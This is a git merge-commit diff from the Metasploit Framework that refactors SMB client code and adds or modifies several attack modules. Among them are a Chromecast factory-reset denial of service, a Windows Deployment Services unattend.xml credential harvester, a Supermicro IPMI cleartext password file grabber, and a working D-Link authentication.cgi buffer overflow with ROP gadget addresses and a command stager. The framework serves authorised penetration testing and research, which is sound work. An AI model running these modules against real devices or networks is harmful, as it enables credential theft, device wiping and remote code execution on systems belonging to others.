Merge branch 'upstream-master' into feature/MSP-9707/smb-bruteforce-refactor

bug/bundler_fix
James Lee 2014-06-23 23:58:47 -05:00
commit 85611702f9
12 changed files with 852 additions and 134 deletions

View File

@ -150,72 +150,116 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
packet.v['ProcessID'] = self.process_id.to_i
end
# The main dispatcher for all incoming SMB packets
def smb_recv_parse(expected_type, ignore_errors = false)
# Receive a full SMB reply and cache the parsed packet
def smb_recv_and_cache
@smb_recv_cache ||= []
# This will throw an exception if it fails to read the whole packet
data = self.smb_recv
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(data)
res = pkt
# Store the received packet into the cache
@smb_recv_cache << [ pkt, data, Time.now ]
end
# Scan the packet receive cache for a matching response
def smb_recv_cache_find_match(expected_type)
clean = []
found = nil
@smb_recv_cache.each do |cent|
pkt, data, tstamp = cent
# Return matching packets and mark for removal
if pkt['Payload']['SMB'].v['Command'] == expected_type
found = [pkt,data]
clean << cent
end
# Purge any packets older than 5 minutes
if Time.now.to_i - tstamp.to_i > 300
clean << cent
end
break if found
end
clean.each do |cent|
@smb_recv_cache.delete(cent)
end
found
end
# The main dispatcher for all incoming SMB packets
def smb_recv_parse(expected_type, ignore_errors = false)
pkt = nil
data = nil
# This allows for some leeway when a previous response has not
# been processed but a new request was sent. The old response
# will eventually be timed out of the cache.
1.upto(3) do |attempt|
smb_recv_and_cache
pkt,data = smb_recv_cache_find_match(expected_type)
break if pkt
end
begin
case pkt['Payload']['SMB'].v['Command']
when CONST::SMB_COM_NEGOTIATE
res = smb_parse_negotiate(pkt, data)
res = smb_parse_negotiate(pkt, data)
when CONST::SMB_COM_SESSION_SETUP_ANDX
res = smb_parse_session_setup(pkt, data)
res = smb_parse_session_setup(pkt, data)
when CONST::SMB_COM_TREE_CONNECT_ANDX
res = smb_parse_tree_connect(pkt, data)
res = smb_parse_tree_connect(pkt, data)
when CONST::SMB_COM_TREE_DISCONNECT
res = smb_parse_tree_disconnect(pkt, data)
res = smb_parse_tree_disconnect(pkt, data)
when CONST::SMB_COM_NT_CREATE_ANDX
res = smb_parse_create(pkt, data)
res = smb_parse_create(pkt, data)
when CONST::SMB_COM_TRANSACTION, CONST::SMB_COM_TRANSACTION2
res = smb_parse_trans(pkt, data)
res = smb_parse_trans(pkt, data)
when CONST::SMB_COM_NT_TRANSACT
res = smb_parse_nttrans(pkt, data)
res = smb_parse_nttrans(pkt, data)
when CONST::SMB_COM_NT_TRANSACT_SECONDARY
res = smb_parse_nttrans(pkt, data)
res = smb_parse_nttrans(pkt, data)
when CONST::SMB_COM_OPEN_ANDX
res = smb_parse_open(pkt, data)
res = smb_parse_open(pkt, data)
when CONST::SMB_COM_WRITE_ANDX
res = smb_parse_write(pkt, data)
res = smb_parse_write(pkt, data)
when CONST::SMB_COM_READ_ANDX
res = smb_parse_read(pkt, data)
res = smb_parse_read(pkt, data)
when CONST::SMB_COM_CLOSE
res = smb_parse_close(pkt, data)
res = smb_parse_close(pkt, data)
when CONST::SMB_COM_DELETE
res = smb_parse_delete(pkt, data)
res = smb_parse_delete(pkt, data)
else
raise XCEPT::InvalidCommand
end
if (pkt['Payload']['SMB'].v['Command'] != expected_type)
raise XCEPT::InvalidType
end
if (ignore_errors == false and pkt['Payload']['SMB'].v['ErrorClass'] != 0)
raise XCEPT::ErrorCode
end
rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::InvalidType, XCEPT::ErrorCode
rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::ErrorCode
$!.word_count = pkt['Payload']['SMB'].v['WordCount']
$!.command = pkt['Payload']['SMB'].v['Command']
$!.error_code = pkt['Payload']['SMB'].v['ErrorClass']
@ -1837,88 +1881,150 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
0, # Storage type is zero
].pack('vvvvV') + path + "\x00"
begin
resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
search_next = 0
begin
pcnt = resp['Payload'].v['ParamCount']
dcnt = resp['Payload'].v['DataCount']
poff = resp['Payload'].v['ParamOffset']
doff = resp['Payload'].v['DataOffset']
resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
search_next = 0
# Get the raw packet bytes
resp_rpkt = resp.to_s
# Loop until we run out of results
loop do
pcnt = resp['Payload'].v['ParamCount']
dcnt = resp['Payload'].v['DataCount']
poff = resp['Payload'].v['ParamOffset']
doff = resp['Payload'].v['DataOffset']
# Remove the NetBIOS header
resp_rpkt.slice!(0, 4)
# Get the raw packet bytes
resp_rpkt = resp.to_s
resp_parm = resp_rpkt[poff, pcnt]
resp_data = resp_rpkt[doff, dcnt]
# Remove the NetBIOS header
resp_rpkt.slice!(0, 4)
if search_next == 0
# search id, search count, end of search, error offset, last name offset
sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
else
# FINX_NEXT doesn't return a SID
scnt, eos, eoff, loff = resp_parm.unpack('v4')
end
didx = 0
while (didx < resp_data.length)
info_buff = resp_data[didx, 70]
break if info_buff.length != 70
info = info_buff.unpack(
'V'+ # Next Entry Offset
'V'+ # File Index
'VV'+ # Time Create
'VV'+ # Time Last Access
'VV'+ # Time Last Write
'VV'+ # Time Change
'VV'+ # End of File
'VV'+ # Allocation Size
'V'+ # File Attributes
'V'+ # File Name Length
'V'+ # Extended Attr List Length
'C'+ # Short File Name Length
'C' # Reserved
)
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '')
files[name] =
{
'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F',
'attr' => info[14],
'info' => info
}
resp_parm = resp_rpkt[poff, pcnt]
resp_data = resp_rpkt[doff, dcnt]
break if info[0] == 0
didx += info[0]
end
last_search_id = sid
last_offset = loff
last_filename = name
if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next
resp = find_next(last_search_id, last_offset, last_filename)
search_next = 1 # Flip bit so response params will parse correctly
end
end until eos != 0 or last_offset == 0
rescue ::Exception
raise $!
if search_next == 0
# search id, search count, end of search, error offset, last name offset
sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
else
# FIND_NEXT doesn't return a SID
scnt, eos, eoff, loff = resp_parm.unpack('v4')
end
didx = 0
while (didx < resp_data.length)
info_buff = resp_data[didx, 70]
break if info_buff.length != 70
info = info_buff.unpack(
'V'+ # Next Entry Offset
'V'+ # File Index
'VV'+ # Time Create
'VV'+ # Time Last Access
'VV'+ # Time Last Write
'VV'+ # Time Change
'VV'+ # End of File
'VV'+ # Allocation Size
'V'+ # File Attributes
'V'+ # File Name Length
'V'+ # Extended Attr List Length
'C'+ # Short File Name Length
'C' # Reserved
)
name = resp_data[didx + 70 + 24, info[15]]
# Verify that the filename was actually present
break unless name
# Key the file list minus any trailing nulls
files[name.sub(/\x00+$/n, '')] =
{
'type' => ( info[14] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 ) ? 'F' : 'D',
'attr' => info[14],
'info' => info
}
break if info[0] == 0
didx += info[0]
end
last_search_id = sid
last_offset = loff
last_filename = name
# Exit the search if we reached the end of our results
break if (eos != 0 or last_search_id.nil? or last_offset.to_i == 0)
# If we aren't at the end of the search, run find_next
resp = find_next(last_search_id, last_offset, last_filename)
# Flip bit so response params will parse correctly
search_next = 1
end
return files
files
end
# Supplements find_first if file/dir count exceeds max search count
def find_next(sid, resume_key, last_filename)
parm = [
sid, # Search ID
20, # Maximum search count (Size of 20 keeps response to 1 packet)
260, # Level of interest
resume_key, # Resume key from previous (Last name offset)
6, # Close search if end of search
].pack('vvvVv') + last_filename.to_s + "\x00" # Last filename returned from find_first or find_next
resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function
sid, # Search ID
20, # Maximum search count (Size of 20 keeps response to 1 packet)
260, # Level of interest
resume_key, # Resume key from previous (Last name offset)
6, # Close search if end of search
].pack('vvvVv') +
last_filename.to_s + # Last filename returned from find_first or find_next
"\x00" # Terminate the file name
# Returns the FIND_NEXT2 response packet for parsing by the find_first function
trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
end
# Recursively search for files matching a regular expression
def file_search(current_path, regex, depth)
depth -= 1
return [] if depth < 0
results = find_first(current_path + "*")
files = []
results.each_pair do |fname, finfo|
# Skip current and parent directory results
next if %W{. ..}.include?(fname)
# Verify the results contain an attribute
next unless finfo and finfo['attr']
if finfo['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0
# Add any matching files to our result set
files << "#{current_path}#{fname}" if fname =~ regex
else
# Recurse into the discovery subdirectory for more files
begin
search_path = "#{current_path}#{fname}\\"
file_search(search_path, regex, depth).each {|fn| files << fn }
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# Ignore common errors related to permissions and non-files
if %W{
STATUS_ACCESS_DENIED
STATUS_NO_SUCH_FILE
STATUS_OBJECT_NAME_NOT_FOUND
STATUS_OBJECT_PATH_NOT_FOUND
}.include? e.get_error(e.error_code)
next
end
$stderr.puts [e, e.get_error(e.error_code), search_path]
raise e
end
end
end
files.uniq
end
# Creates a new directory on the mounted tree
@ -1931,9 +2037,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# public read/write methods
attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
attr_accessor :system_time, :system_zone
#misc
attr_accessor :spnopt # used for SPN
attr_accessor :system_time, :system_zone
attr_accessor :spnopt
# public read methods
attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
@ -1941,21 +2046,18 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
attr_reader :dns_host_name, :dns_domain_name
attr_reader :security_mode, :server_guid
#signing related
attr_reader :sequence_counter,:signing_key, :require_signing
# private methods
# private write methods
attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
attr_writer :default_domain, :default_name, :auth_user, :auth_user_id
attr_writer :dns_host_name, :dns_domain_name
attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
attr_writer :security_mode, :server_guid
#signing related
attr_writer :sequence_counter,:signing_key, :require_signing
attr_accessor :socket
end
end
end

View File

@ -261,6 +261,23 @@ FILE_FILE_COMPRESSION = 0x00000008
FILE_VOLUME_QUOTAS = 0x00000010
FILE_VOLUME_IS_COMPRESSED = 0x00008000
# SMB_EXT_FILE_ATTR
# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx
SMB_EXT_FILE_ATTR_READONLY = 0x00000001
SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002
SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004
SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010
SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020
SMB_EXT_FILE_ATTR_NORMAL = 0x00000080
SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100
SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800
SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000
SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000
SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000
SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000
SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000
SMB_EXT_FILE_NO_BUFFERING = 0x20000000
SMB_EXT_FILE_WRITE_THROUGH = 0x80000000
# SMB Error Codes
SMB_STATUS_SUCCESS = 0x00000000

View File

@ -505,14 +505,24 @@ module Socket
end
#
# Converts a port specification like "80,21-23,443" into a sorted,
# unique array of valid port numbers like [21,22,23,80,443]
# Converts a port specification like "80,21-25,!24,443" into a sorted,
# unique array of valid port numbers like [21,22,23,25,80,443]
#
def self.portspec_to_portlist(pspec)
ports = []
remove = []
# Build ports array from port specification
pspec.split(/,/).each do |item|
target = ports
item.strip!
if item.start_with? '!'
item.delete! '!'
target = remove
end
start, stop = item.split(/-/).map { |p| p.to_i }
start ||= 0
@ -520,11 +530,15 @@ module Socket
start, stop = stop, start if stop < start
start.upto(stop) { |p| ports << p }
start.upto(stop) { |p| target << p }
end
if ports.empty? and not remove.empty? then
ports = 0.upto 65535
end
# Sort, and remove dups and invalid ports
ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 }
ports.sort.uniq.delete_if { |p| p < 0 or p > 65535 or remove.include? p }
end
#
@ -537,7 +551,7 @@ module Socket
lastp = nil
parr.uniq.sort{|a,b| a<=>b}.map{|a| a.to_i}.each do |n|
next if (n < 1 or n > 65535)
next if (n < 0 or n > 65535)
if not lastp
range = [n]
lastp = n

View File

@ -0,0 +1,58 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Chromecast Factory Reset DoS',
'Description' => %q{
This module performs a factory reset on a Chromecast, causing a denial of service (DoS).
No user authentication is required.
},
'Author' => ['wvu'],
'References' => [
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(8008)
], self.class)
end
def run
res = reset
if res && res.code == 200
print_good('Factory reset performed')
elsif res
print_error("An error occurred: #{res.code} #{res.message}")
end
end
def reset
begin
send_request_raw(
'method' => 'POST',
'uri' => '/setup/reboot',
'agent' => Rex::Text.rand_text_english(rand(42) + 1),
'ctype' => 'application/json',
'data' => '{"params": "fdr"}'
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable => e
fail_with(Failure::Unreachable, e)
ensure
disconnect
end
end
end

View File

@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
},
'Author' => ['wvu'],
'References' => [
['URL', 'https://en.wikipedia.org/wiki/Chromecast']
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
],
'License' => MSF_LICENSE,
'Actions' => [

View File

@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
},
'Author' => ['wvu'],
'References' => [
['URL', 'https://en.wikipedia.org/wiki/Chromecast']
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
],
'License' => MSF_LICENSE
))
@ -38,6 +38,7 @@ class Metasploit4 < Msf::Auxiliary
'PWR',
'ENC',
'CIPHER',
'AUTH',
'ESSID'
],
'SortIndex' => -1
@ -47,26 +48,9 @@ class Metasploit4 < Msf::Auxiliary
waps << [
wap['bssid'],
wap['signal_level'],
case wap['wpa_auth']
when 1
'OPN'
when 5
'WPA'
when 7
'WPA2'
else
wap['wpa_auth']
end,
case wap['wpa_cipher']
when 1
''
when 3
'TKIP'
when 4
'CCMP'
else
wap['wpa_cipher']
end,
enc(wap),
cipher(wap),
auth(wap),
wap['ssid'] + (wap['wpa_id'] ? ' (*)' : '')
]
end
@ -103,4 +87,45 @@ class Metasploit4 < Msf::Auxiliary
end
end
def enc(wap)
case wap['wpa_auth']
when 1
'OPN'
when 2
'WEP'
when 5
'WPA'
when 0, 7
'WPA2'
else
wap['wpa_auth']
end
end
def cipher(wap)
case wap['wpa_cipher']
when 1
''
when 2
'WEP'
when 3
'TKIP'
when 4
'CCMP'
else
wap['wpa_cipher']
end
end
def auth(wap)
case wap['wpa_auth']
when 0
'MGT'
when 5, 7
'PSK'
else
''
end
end
end

View File

@ -0,0 +1,232 @@
#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/dcerpc'
require 'rex/parser/unattend'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
'Description' => %q{
This module will search remote file shares for unattended installation files that may contain
domain credentials. This is often used after discovering domain credentials with the
auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
have domain credentials. This module will connect to the RemInst share and any Microsoft
Deployment Toolkit shares indicated by the share name comments.
},
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'],
],
))
register_options(
[
Opt::RPORT(445),
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
], self.class)
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
end
# Determine the type of share based on an ID type value
def share_type(val)
stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
stypes[val] || 'UNKNOWN'
end
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
def srvsvc_netshareenum
shares = []
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("#{rhost} : #{e.message}")
return
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << [0xffffffff].pack("V")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
# Additional error handling and validation needs to occur before
# this code can be moved into a mixin
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
end
# Level, CTR header, Reference ID of CTR
res.slice!(0,12)
share_count = res.slice!(0, 4).unpack("V")[0]
# Reference ID of CTR1
res.slice!(0,4)
share_max_count = res.slice!(0, 4).unpack("V")[0]
if share_max_count != share_count
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
end
# ReferenceID / Type / ReferenceID of Comment
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
if offset != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
end
if length != max_length
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
end
name = res.slice!(0, 2 * length)
res.slice!(0,2) if length % 2 == 1 # pad
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
if comment_offset != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
end
if comment_length != comment_max_length
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
end
comment = res.slice!(0, 2 * comment_length)
res.slice!(0,2) if comment_length % 2 == 1 # pad
shares << [ name, share_type(types[t]), comment]
end
shares
end
def run_host(ip)
deploy_shares = []
begin
connect
smb_login
srvsvc_netshareenum.each do |share|
# Ghetto unicode to ascii conversation
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
share_type = share[1]
if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share")
vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}")
deploy_shares << share_name
end
end
deploy_shares.each do |deploy_share|
query_share(deploy_share)
end
rescue ::Interrupt
raise $!
end
end
def query_share(share)
share_path = "\\\\#{rhost}\\#{share}"
vprint_status("#{rhost}:#{rport} Enumerating #{share}...")
begin
simple.connect(share_path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}")
return
end
results = simple.client.file_search("\\", /unattend.xml$/i, 10)
results.each do |file_path|
file = simple.open(file_path, 'o').read()
next unless file
loot_unattend(file)
creds = parse_client_unattend(file)
creds.each do |cred|
next unless (cred && cred['username'] && cred['password'])
next unless cred['username'].to_s.length > 0
next unless cred['password'].to_s.length > 0
report_creds(cred['domain'].to_s, cred['username'], cred['password'])
print_good("#{rhost}:#{rport} Credentials: " +
"Path=#{share_path}#{file_path} " +
"Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
"Password=#{cred['password'].to_s}"
)
end
end
end
def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
end
Rex::Parser::Unattend.parse(xml).flatten
end
def loot_unattend(data)
return if data.empty?
path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}")
end
def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass
)
end
end

View File

@ -0,0 +1,104 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure',
'Description' => %q{
This module abuses a file exposure vulnerability accessible through the web interface
on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker
to obtain detailed device information and download data files containing the clear-text
usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs
were exposed to the internet with this vulnerability.
},
'Author' =>
[
'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis
'John Matherly <jmath[at]shodan.io>', # Internet-wide scan
'Dan Farmer <zen[at]fish2.com>', # Additional investigation
'hdm' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'],
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
],
'DisclosureDate' => 'Jun 19 2014'))
register_options(
[
Opt::RPORT(49152)
], self.class)
end
def is_supermicro?
res = send_request_cgi(
{
"uri" => "/IPMIdevicedesc.xml",
"method" => "GET"
})
if res && res.code == 200 && res.body.to_s =~ /supermicro/i
path = store_loot(
'supermicro.ipmi.devicexml',
'text/xml',
rhost,
res.body.to_s,
'IPMIdevicedesc.xml'
)
print_good("#{peer} - Stored the device description XML in #{path}")
return true
else
return false
end
end
def run_host(ip)
unless is_supermicro?
vprint_error("#{peer} - This does not appear to be a Supermicro IPMI controller")
return
end
candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd }
candidates.each do |uri|
res = send_request_cgi(
{
"uri" => uri,
"method" => "GET"
})
next unless res
unless res.code == 200 && res.body.length > 0
vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}")
next
end
path = store_loot(
'supermicro.ipmi.passwords',
'application/octet-stream',
rhost,
res.body.to_s,
uri.split('/').last
)
print_good("#{peer} - Password data from #{uri} stored to #{path}")
end
end
end

View File

@ -9,8 +9,10 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
APP_NAME = "Supermicro web interface"
def initialize(info = {})
@ -23,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary
a valid, but not necessarily administrator-level account, to access the contents of any file
on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
with firmware version SMT_X9_214.
with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and
/wsman/simple_auth.passwd
},
'Author' =>
[
@ -33,8 +36,8 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'References' =>
[
#[ 'CVE', '' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ]
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ],
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
],
'DisclosureDate' => 'Nov 06 2013'))
@ -107,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
def run
def run_host(ip)
print_status("#{peer} - Checking if it's a #{APP_NAME}....")
if is_supermicro?
print_good("#{peer} - Check successful")
@ -133,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
'supermicro.ipmi.traversal',
'supermicro.ipmi.traversal.psblock',
'application/octet-stream',
rhost,
contents,

View File

@ -0,0 +1,132 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link authentication.cgi Buffer Overflow',
'Description' => %q{
This module exploits an remote buffer overflow vulnerability on several D-Link routers.
The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
long password values. The vulnerability can be exploitable without authentication. This
module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
},
'Author' =>
[
'Roberto Paleari', # Vulnerability discovery
'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSLE,
'References' =>
[
['OSVDB', '95951'],
['EDB', '27283'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
],
'Targets' =>
[
[ 'D-Link DIR-645 1.03',
{
'Offset' => 1011,
'LibcBase' => 0x2aaf8000, #Router
#'LibcBase' => 0x40854000, # QEMU environment
'System' => 0x000531FF, # address of system
'CalcSystem' => 0x000158C8, # calculate the correct address of system
'CallSystem' => 0x000159CC, # call our system
}
]
],
'DisclosureDate' => 'Feb 08 2013',
'DefaultTarget' => 0))
end
def check
begin
res = send_request_cgi({
'uri' => "/authentication.cgi",
'method' => 'GET'
})
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Accessing the vulnerable URL...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:linemax => 200,
:concat_operator => " && "
)
end
def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset']) # padding
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address
shellcode << rand_text_alpha_upper(16) # filler in front of our command
shellcode << cmd
end
def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
uid = rand_text_alpha(4)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/authentication.cgi",
'cookie' => "uid=#{uid}",
'encode_params' => false,
'vars_post' => {
'uid' => uid,
'password' => rand_text_alpha(3) + shellcode,
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

View File

@ -6,7 +6,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
